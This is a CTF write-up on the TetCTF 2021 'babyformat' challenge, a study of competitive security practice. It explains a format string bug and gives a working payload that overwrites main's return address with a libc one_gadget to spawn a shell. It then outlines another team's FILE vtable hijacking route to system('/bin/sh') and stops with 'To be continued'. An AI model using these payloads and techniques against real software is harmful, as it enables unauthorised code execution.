TetCTF 2021 - babyformat - What can we do with just 1 printf?
Analysing solutions from the babyformat pwnable challenge in TetCTF 2021
Great CTF! babyformat
was a pretty strict pwnable challenge I solved during this CTF, but in the end, every team had their own solution. So I decide to look at the different solutions to see what are the interesting ideas people can come up with.
[PWN] babyformat
Files given: babyformat
, libc-2.23.so
From libc-2.23.so
, we know the addresses from one_gadget
:
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
Analyze babyformat
:
- checksec - PIE disabled
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
IDA
- Weird call graph,
sub_400982
do nothing other than callingsub_40091C
.
- Weird call graph,
sub_40091C
vulnerable to Format String Bug (FSB) atfprintf
.
int __fastcall sub_40091C(FILE *a1, const char *a2)
{
printf("Your data: %s\n", a2);
return fprintf(a1, a2);
}
- The
a1
argument offprintf
was created insub_4009CB
and pointed to/dev/null
.
int __fastcall sub_4009CB(__int64 a1)
{
FILE *stream; // [rsp+18h] [rbp-28h]
printf("Data you wan't to log into /dev/null: ");
stream = fopen("/dev/null", "w+");
if ( !stream )
{
puts("Error~");
exit(0);
}
sub_400897(a1, 512LL);
sub_400982((__int64)stream, a1);
return fclose(stream);
}
- The
a2
argument passed frommain
, pointed to.bss
section, theunk_602060
.
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_400A8C(a1, a2, a3);
sub_4009CB((__int64)&unk_602060);
return 0LL;
}
Why is it strict?
Full RELRO
, we can’t modify GOT.fprintf
points to/dev/null
, we can’t leak stuff, at least by the first call to fprintf.- User input located in
.bss
section, not on the stack, so we can’t just input an address and hope to find it somewhere on the stack.
Things we can do with a format string bug? According to printf document
- Leak addresses on the stack with
%x
and%p
. - Leak data pointed by a pointer on the stack with
%s
. - Write the number of printed characters to the address pointed by a pointer on the stack with
%n
. - Use
$
for positional argument.%4$p
mean the 4th argument. - Use field width to specify how many characters to print. Eg.
$100c
: 100 characters. - Use length modifier (
h
,hh
,l
,ll
) to specify how many bytes to write with%n
. - Use
*
to have a variable field width, equals to an signed integer on the stack, can combine with positional argument. Eg.%*10$c
: print a number of characters equals to the 10th argument. printf
go through the format from begin to end, one by one. As long as we haven’t use positional argument, the$
, which trigger the copy of all referenced arguments, we can modify arguments on the stack with%n
and later use it as an argument.
What do we have?
- Long RBP chain on the stack caused by an extra call to
sub_400982
, can be used to achive arbitary write.Although I think it’s still possible without the function :D - First
fprintf
prints to/dev/null
, we can print GBs of data in seconds, easier to write big numbers with%n
. No PIE (0x400000)
, we have the addresses of functions, plt entries, bss, etc.
And also, because FSB directly related to the stack, let me put the stack here. Notice the RBP chain at 0x7fffffffebe0
, libc address at 0x7fffffffeca8 —▸ 0x155554f84840 (__libc_start_main+240) ◂— mov edi, eax
.
pwndbg> tel $sp 50
00:0000│ rsp 0x7fffffffebb0 —▸ 0x602060 ◂— 0x41414141 /* 'AAAA' */
01:0008│ 0x7fffffffebb8 —▸ 0x155555556010 ◂— 0xfbad2480
02:0010│ 0x7fffffffebc0 ◂— 0x1
03:0018│ 0x7fffffffebc8 —▸ 0x155555556010 ◂— 0xfbad2480
04:0020│ 0x7fffffffebd0 —▸ 0x400c02 ◂— '/dev/null'
05:0028│ 0x7fffffffebd8 ◂— 0xba392f5ca4ff7600
06:0030│ rbp 0x7fffffffebe0 —▸ 0x7fffffffec20 —▸ 0x7fffffffec70 —▸ 0x7fffffffeca0 —▸ 0x400b40 ◂— ...
07:0038│ 0x7fffffffebe8 —▸ 0x4009b4 ◂— nop
08:0040│ 0x7fffffffebf0 —▸ 0x602060 ◂— 0x41414141 /* 'AAAA' */
09:0048│ 0x7fffffffebf8 —▸ 0x155555556010 ◂— 0xfbad2480
0a:0050│ 0x7fffffffec00 ◂— 0x200555557e0
0b:0058│ 0x7fffffffec08 —▸ 0x602060 ◂— 0x41414141 /* 'AAAA' */
0c:0060│ 0x7fffffffec10 ◂— 0x40affec70
0d:0068│ 0x7fffffffec18 ◂— 0xba392f5ca4ff7600
0e:0070│ 0x7fffffffec20 —▸ 0x7fffffffec70 —▸ 0x7fffffffeca0 —▸ 0x400b40 ◂— push r15
0f:0078│ 0x7fffffffec28 —▸ 0x400a4f ◂— mov rax, qword ptr [rbp - 0x28]
10:0080│ 0x7fffffffec30 —▸ 0x15555532e8d8 ◂— mov eax, 0x225d
11:0088│ 0x7fffffffec38 —▸ 0x602060 ◂— 0x41414141 /* 'AAAA' */
12:0090│ 0x7fffffffec40 —▸ 0x7fffffffec50 ◂— 0x0
13:0098│ 0x7fffffffec48 —▸ 0x155555556010 ◂— 0xfbad2480
14:00a0│ 0x7fffffffec50 ◂— 0x0
15:00a8│ 0x7fffffffec58 —▸ 0x7fffffffec70 —▸ 0x7fffffffeca0 —▸ 0x400b40 ◂— push r15
16:00b0│ 0x7fffffffec60 —▸ 0x4007b0 ◂— xor ebp, ebp
17:00b8│ 0x7fffffffec68 ◂— 0xba392f5ca4ff7600
18:00c0│ 0x7fffffffec70 —▸ 0x7fffffffeca0 —▸ 0x400b40 ◂— push r15
19:00c8│ 0x7fffffffec78 —▸ 0x400b21 ◂— mov eax, 0
1a:00d0│ 0x7fffffffec80 —▸ 0x400b40 ◂— push r15
1b:00d8│ 0x7fffffffec88 —▸ 0x4007b0 ◂— xor ebp, ebp
1c:00e0│ 0x7fffffffec90 —▸ 0x7fffffffed78 ◂— 0x1c
1d:00e8│ 0x7fffffffec98 ◂— 0xba392f5ca4ff7600
1e:00f0│ 0x7fffffffeca0 —▸ 0x400b40 ◂— push r15
1f:00f8│ 0x7fffffffeca8 —▸ 0x155554f84840 (__libc_start_main+240) ◂— mov edi, eax
20:0100│ 0x7fffffffecb0 —▸ 0x155555553ca0 (_rtld_global_ro) ◂— 0x5080700000000
My solution
Summary
No leak, use one_gadget, work with PIE enabled, success rate of 1/32. Final payload:
%c%c%c%c%c%c%c%c%c%159c%hhn%149822c%*36$c%19$n%330c%11$hhn
Using everything we can do with printf
Exploit idea: overwrite libc address at 0x7fffffffeca8
with one_gadget. When main
returns, we get our shell.
Point RBP chain to the libc address on the stack without using
$
.Here we change one lower byte value of the second RBP to point to the libc address on the stack with
%hhn
. Because stack position is 8-bytes aligned but randomly located, we are bruteforcing the higher half of the low byte, thus 1/16 success rate.To avoid using
$
, just use a bunch of%c
prior to%hhn
. Remember to count the number of characters. In this case I’m trying to write0xa8
which is 168, and RBP chain is at 11th argument, so we need%c%c%c%c%c%c%c%c%c%159c%hhn
.Calculate and write one_gadget to the return address of
main
.Using the variable field width
*
at themain
’s return address prints a number of characters equals to the signed integer (the lower half) of the address. We have%*36$c
.To build one_gadget address and then write back to the return address, we need to calculate the number of missing characters, precisely:
ONE_GADGET_OFFSET = 0x45226 # offset of one_gadget to libc base CURRENT_OFFSET = 0x20840 # offset of main's return address to libc base REMAIN = ONE_GADGET_OFFSET - CURRENT_OFFSET - 168 # 168 printed chars # REMAIN = 149822
Thus we have
%149822c
, then write to the address using the 2nd pointer that we changed in the RBP chain, so%19$n
.Note that
*
will use the selected argument as a signed integer, so our plan will only success if the highest bit of the number is not set to 1 (negative number), and that chance is 1/2, random stack position.Finally, for
main
to return flawlessly, we recover the RBP chain to its original state.Print more characters until we can write
0x70
with%11$hhn
. Then we have%330c%11$hhn
.Try the payload again and again until succeed and just
cat /home/babyformat/flag
.
%c%c%c%c%c%c%c%c%c%159c%hhn%149822c%*36$c%19$n%330c%11$hhn
Solution from @_lkmidas & Catafact (Efiens)
Efiens ended 3rd place in TetCTF 2021, congratz! Let’s take a look at their solution.
TL;DR
Wow, I thought FILE struct vtable hijacking is dead since libc 2.24 … but wait … this is libc 2.23 :D
- Craft
FILE
structure and itsvtable
, stack pivot to.bss
to changeFILE *stream
. Leak libc withprintf("#%29$lx#xxxxxxxx")
and then_start()
called whenfclose(stream)
. - Do the same thing to call
system("\x80\x80\x80\x80\x80\x80\x80\x80;/bin/sh")
.
FILE vtable hijacking
Functions to interact with file streams like fwrite
, fputs
, fclose
, etc., internally calls functions in associated FILE (actually _IO_FILE_plus
) struct’s vtable
.
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
By controlling the vtable
pointer, we control which functions are called by, in this case, fclose
. The format of the vtable is as follow:
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
The exploit
Firstly, take advantage of the RBP chain to change RBP once sub_400982
returns. RBP should be pointing to our input in .bss
, so we control the FILE *stream
pointer. The pointer is at rbp - 0x28
.
mov rax, qword ptr [rbp - 0x28]
mov rdi, rax
call 0x400710 <0x400710> # fclose
Since we control a large amount of data in .bss
, we can put both our _IO_FILE_plus
and its vtable
there. There are 2 things in the vtable we want to modify, _IO_file_close
and __GI__IO_file_finish
as fclose
calls these functions internally.
To be continued…